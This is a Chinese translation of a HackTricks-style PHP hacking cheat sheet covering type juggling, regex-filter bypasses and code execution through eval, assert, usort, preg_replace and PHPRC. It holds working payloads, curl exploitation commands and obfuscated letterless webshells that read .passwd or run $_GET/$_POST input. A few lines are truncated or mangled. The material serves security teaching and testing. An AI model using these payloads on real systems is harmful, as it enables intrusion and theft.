.. | ||
php-useful-functions-disable_functions-open_basedir-bypass | ||
php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md | ||
php-ssrf.md | ||
README.md |
PHP 技巧
从零开始学习 AWS 黑客技术,成为 htARTE (HackTricks AWS 红队专家)!
支持 HackTricks 的其他方式:
- 如果您希望在 HackTricks 中看到您的公司广告或下载 HackTricks 的 PDF,请查看订阅计划!
- 获取官方 PEASS & HackTricks 商品
- 发现PEASS 家族,我们独家的NFTs 集合
- 加入 💬 Discord 群组 或 telegram 群组 或在 Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享您的黑客技巧。
Cookies 常见位置:
这也适用于 phpMyAdmin 的 Cookies。
Cookies:
PHPSESSID
phpMyAdmin
位置:
/var/lib/php/sessions
/var/lib/php5/
/tmp/
Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
绕过 PHP 比较
宽松比较/类型欺骗 ( == )
如果在 PHP 中使用 ==
,那么有些情况下比较的行为可能不符合预期。这是因为 "==" 只比较转换为相同类型后的值,如果你还想比较比较数据的类型是否相同,你需要使用 ===
。
PHP 比较表:https://www.php.net/manual/en/types.comparisons.php
{% file src="../../../.gitbook/assets/EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf" %}
"string" == 0 -> True
一个不以数字开头的字符串等于一个数字"0xAAAA" == "43690" -> True
由十进制或十六进制数字组成的字符串可以与其他数字/字符串进行比较,如果数字相同,则结果为 True(字符串中的数字被解释为数字)"0e3264578" == 0 --> True
以 "0e" 开头并跟随任何内容的字符串将等于 0"0X3264578" == 0X --> True
以 "0" 开头并跟随任何字母(X 可以是任何字母)和任何内容的字符串将等于 0"0e12334" == "0" --> True
这一点非常有趣,因为在某些情况下,你可以控制输入为 "0" 的字符串和一些被哈希并与之比较的内容。因此,如果你能提供一个会创建以 "0e" 开头并且没有任何字母的哈希值,你可以绕过比较。你可以在这里找到已经哈希过的字符串:https://github.com/spaze/hashes"X" == 0 --> True
字符串中的任何字母等于整数 0
更多信息在 https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09
in_array()
类型欺骗 也默认影响 in_array()
函数(你需要将第三个参数设置为 true 来进行严格比较):
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
//True
var_dump(in_array(0, $values, true));
//False
strcmp()/strcasecmp()
如果这个函数用于任何认证检查(比如检查密码),并且用户控制比较的一方,他可以发送一个空数组而不是字符串作为密码的值(https://example.com/login.php/?username=admin&password[]=
),并绕过这个检查:
if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
同样的错误也会发生在 strcasecmp()
严格类型杂耍
即使使用了 ===
,也可能存在错误,使得比较容易受到 类型杂耍的影响。例如,如果比较在比较之前将数据转换为不同类型的对象:
(int) "1abc" === (int) "1xyz" //This will be true
preg_match(/^.*/)
preg_match()
可用于验证用户输入(它检查用户输入中是否存在来自黑名单的任何单词/正则表达式,如果不存在,代码可以继续执行)。
新行绕过
然而,当限定正则表达式的开始时,preg_match()
只检查用户输入的第一行,因此,如果你能够以多行的形式发送输入,你可能能够绕过这个检查。例如:
$myinput="aaaaaaa
11111111"; //Notice the new line
echo preg_match("/1/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/1.*$/",$myinput);
//1 --> In this scenario preg_match find the char "1"
echo preg_match("/^.*1/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
echo preg_match("/^.*1.*$/",$myinput);
//0 --> In this scenario preg_match DOESN'T find the char "1"
为了绕过这个检查,你可以发送带有换行符的 url 编码值(%0A
),或者如果你可以发送JSON 数据,请在多行中发送:
{
"cmd": "cat /etc/passwd"
}
在这里找到一个例子:https://ramadistra.dev/fbctf-2019-rceservice
长度错误绕过
(这种绕过尝试显然是在 PHP 5.2.5 上进行的,我无法在 PHP 7.3.15 上使它工作)
如果你能向 preg_match()
发送一个有效的非常大的输入,它将无法处理它,你将能够绕过检查。例如,如果它正在黑名单中的一个 JSON,你可以发送:
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
ReDoS 绕过
简而言之,问题发生是因为 PHP 中的 preg_*
函数建立在 PCRE 库 之上。在 PCRE 中,某些正则表达式的匹配通过使用大量递归调用来完成,这会占用大量的栈空间。可以设置递归次数的限制,但在 PHP 中这个限制默认为 100,000,这比栈空间的容量要多。
这个 Stackoverflow 讨论也在帖子中被链接,其中更深入地讨论了这个问题。我们现在的任务很清楚:
发送一个输入,使得正则表达式进行 100,000+ 次递归,导致 SIGSEGV,使得 preg_match()
函数返回 false
,从而让应用程序认为我们的输入不是恶意的,在负载的最后扔出惊喜,比如 {system(<verybadcommand>)}
来获得 SSTI --> RCE --> flag :)。
嗯,在正则表达式术语中,我们实际上并没有进行 100k 次“递归”,而是在计算“回溯步骤”,正如 PHP 文档 所述,默认在 pcre.backtrack_limit
变量中为 1,000,000(1M)。
为了达到这个目标,'X'*500_001
将导致 100 万次回溯步骤(50 万次向前和 50 万次向后):
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
PHP混淆的类型杂耍
$obfs = "1"; //string "1"
$obfs++; //int 2
$obfs += 0.2; //float 2.2
$obfs = 1 + "7 IGNORE"; //int 8
$obfs = "string" + array("1.1 striiing")[0]; //float 1.1
$obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
执行后重定向 (EAR)
如果PHP正在重定向到另一个页面,但在设置了 Location
头之后没有调用 die
或 exit
函数,PHP将继续执行并将数据追加到正文中:
<?php
// In this page the page will be read and the content appended to the body of
// the redirect response
$page = $_GET['page'];
header('Location: /index.php?page=default.html');
readfile($page);
?>
更多技巧
- register_globals: 在 PHP < 4.1.1.1 或配置错误的情况下,register_globals 可能是激活的(或它们的行为被模仿)。这意味着在全局变量如 $_GET 中如果它们有值,例如 $_GET["param"]="1234",你可以通过 $param 访问它。因此,通过发送 HTTP 参数你可以覆盖代码中使用的变量。
- 同一域名下的 PHPSESSION cookies 存储在同一位置,因此如果在一个域名内 不同路径使用不同的 cookies,你可以让一个路径 访问另一个路径的 cookie,通过设置其他路径 cookie 的值。
这样如果 两个路径访问同名的变量,你可以让 path1 中的变量值应用于 path2。然后 path2 将把 path1 的变量视为有效(通过给 cookie 赋予在 path2 中对应的名称)。 - 当你拥有机器用户的 用户名 时。检查地址:/~<USERNAME> 来查看是否激活了 php 目录。
- 使用 php 包装器进行 LFI 和 RCE
password_hash/password_verify
这些函数通常在 PHP 中用来 从密码生成哈希 和 检查 一个密码与哈希是否匹配。
支持的算法有:PASSWORD_DEFAULT
和 PASSWORD_BCRYPT
(以 $2y$
开头)。注意 PASSWORD_DEFAULT 通常与 PASSWORD_BCRYPT 相同。 并且目前,PASSWORD_BCRYPT 在输入上有 72字节的大小限制。因此,当你尝试用这个算法对超过 72 字节的内容进行哈希处理时,只有前 72B 会被使用:
$cont=71; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
False
$cont=72; echo password_verify(str_repeat("a",$cont), password_hash(str_repeat("a",$cont)."b", PASSW
True
利用 PHP 错误绕过 HTTP 头
如果PHP 页面正在打印错误并回显用户提供的一些输入,用户可以让 PHP 服务器打印回一些足够长的内容,这样当它尝试添加头信息到响应中时,服务器将抛出错误。
在以下场景中,攻击者让服务器抛出了一些大错误,正如你在屏幕上看到的,当 php 尝试修改头信息时,它做不到(所以例如 CSP 头没有发送给用户):
代码执行
system("ls");
`ls`;
shell_exec("ls");
通过 preg_replace() 实现 RCE
preg_replace(pattern,replace,base)
preg_replace("/a/e","phpinfo()","whatever")
要执行"replace"参数中的代码,至少需要一个匹配项。 此选项自 PHP 5.5.0 起已不推荐使用。
通过 Eval() 实现远程代码执行
'.system('uname -a'); $dummy='
'.system('uname -a');#
'.system('uname -a');//
'.phpinfo().'
<?php phpinfo(); ?>
通过 Assert() 实现 RCE
这个php函数允许你执行写在字符串中的代码,以返回真或假(并根据此改变执行流程)。通常用户变量会被插入到字符串中间。例如:
assert("strpos($_GET['page']),'..') === false")
--> 在这种情况下,为了获得RCE,你可以这样做:
?page=a','NeVeR') === false and system('ls') and strpos('a
您需要破解代码语法,添加您的有效载荷,然后再修复它。您可以使用逻辑操作,例如“and”或“%26%26”或“|”。请注意,“or”、“||”不起作用,因为如果第一个条件为真,我们的有效载荷将不会被执行。同样的方式“;”也不起作用,因为我们的有效载荷不会被执行。
另一个选项是在字符串中添加命令的执行:'.highlight_file('.passwd').'
另一个选项(如果您有内部代码)是修改某个变量以改变执行过程:$file = "hola"
通过 usort() 实现 RCE
此函数用于使用特定函数对数组项进行排序。
要滥用此函数:
<?php usort(VALUE, "cmp"); #Being cmp a valid function ?>
VALUE: );phpinfo();#
<?php usort();phpinfo();#, "cmp"); #Being cmp a valid function ?>
<?php
function foo($x,$y){
usort(VALUE, "cmp");
}?>
VALUE: );}[PHP CODE];#
<?php
function foo($x,$y){
usort();}phpinfo;#, "cmp");
}?>
您也可以使用 // 来注释掉代码的其余部分。
要发现您需要关闭的括号数量:
?order=id;}//
:我们得到一个错误消息(Parse error: syntax error, unexpected ';'
)。我们可能缺少一个或多个括号。?order=id);}//
:我们得到一个警告。看起来差不多。?order=id));}//
:我们得到一个错误消息(Parse error: syntax error, unexpected ')' i
)。我们可能有太多的关闭括号。
通过 .httaccess 实现 RCE
如果您可以上传一个 .htaccess 文件,那么您可以配置几个设置甚至执行代码(配置 .htaccess 扩展名的文件可以被执行)。
不同的 .htaccess shell 可以在这里找到
通过环境变量实现 RCE
如果您发现一个漏洞,允许您在 PHP 中修改环境变量(以及另一个上传文件的漏洞,尽管经过更多研究可能可以绕过),您可以利用这种行为来获得RCE。
LD_PRELOAD
:这个环境变量允许您在执行其他二进制文件时加载任意库(尽管在这种情况下可能不起作用)。PHPRC
:指导 PHP 在哪里找到它的配置文件,通常称为php.ini
。如果您可以上传您自己的配置文件,然后,使用PHPRC
指向它。添加一个**auto_prepend_file
** 条目,指定第二个上传的文件。这第二个文件包含正常的PHP 代码,然后由 PHP 运行时在任何其他代码之前执行。
- 上传一个包含我们 shellcode 的 PHP 文件
- 上传第二个文件,包含一个**
auto_prepend_file
** 指令,指示 PHP 预处理器执行我们在第一步上传的文件 - 设置
PHPRC
变量为我们在第二步上传的文件。
- 获取更多关于如何执行这个链条的信息从原始报告。
- PHPRC - 另一个选项
- 如果您无法上传文件,您可以在 FreeBSD 中使用文件
/dev/fd/0
,它包含**stdin
,是发送到stdin
的请求的正文**: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'
- 或者为了获得 RCE,启用
allow_url_include
并预先加入一个包含 base64 PHP 代码的文件: curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'
- 技术来自这份报告。
PHP 静态分析
查看您是否可以在对这些函数的调用中插入代码(来自这里):
exec, shell_exec, system, passthru, eval, popen
unserialize, include, file_put_cotents
$_COOKIE | if #This mea
如果您正在调试PHP应用程序,您可以在/etc/php5/apache2/php.ini
中全局启用错误打印,添加display_errors = On
,然后重启apache:sudo systemctl restart apache2
反混淆PHP代码
您可以使用网站www.unphp.net来反混淆php代码。
PHP包装器和协议
PHP包装器和协议可能允许您绕过写入和读取保护,并危害系统。有关更多信息,请查看此页面。
Xdebug未经认证的RCE
如果您在phpconfig()
输出中看到Xdebug是启用的,您应该尝试通过https://github.com/nqxcode/xdebug-exploit获取RCE。
变量变量
$x = 'Da';
$$x = 'Drums';
echo $x; //Da
echo $$x; //Drums
echo $Da; //Drums
echo "${Da}"; //Drums
echo "$x ${$x}"; //Da Drums
echo "$x ${Da}"; //Da Drums
利用新的 $_GET["a"]($_GET["b"]) 实现 RCE
如果在页面上你可以创建任意类的新对象,你可能能够实现 RCE,请查看以下页面了解如何操作:
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %} php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md {% endcontent-ref %}
不使用字母执行 PHP
https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/
使用八进制
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
XOR
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
$___=$__; #Could be not needed inside eval
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
XOR简易Shell代码
根据这篇文章,可以通过以下方式生成简易的shell代码:
$_="`{{{"^"?<>/"; // $_ = '_GET';
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
因此,如果您能够执行任意PHP而不使用数字和字母,您可以发送如下请求,利用该有效载荷执行任意PHP:
POST: /action.php?_=system&__=cat+flag.php
Content-Type: application/x-www-form-urlencoded
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
要了解更深入的解释,请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
### XOR Shellcode(在 eval 内)
#!/bin/bash
if [[ -z $1 ]]; then
echo "USAGE: $0 CMD"
exit
fi
CMD=$1
CODE="\$_='\
lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
类 Perl
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
从零开始学习AWS黑客攻击直至成为英雄,通过 htARTE (HackTricks AWS Red Team Expert)!
支持HackTricks的其他方式:
- 如果您想在HackTricks中看到您的公司广告或下载HackTricks的PDF版本,请查看订阅计划!
- 获取官方PEASS & HackTricks商品
- 发现PEASS家族,我们独家的NFTs系列
- 加入 💬 Discord群组 或 telegram群组 或在Twitter 🐦 上关注我 @carlospolopm。
- 通过向 HackTricks 和 HackTricks Cloud github仓库提交PR来分享您的黑客技巧。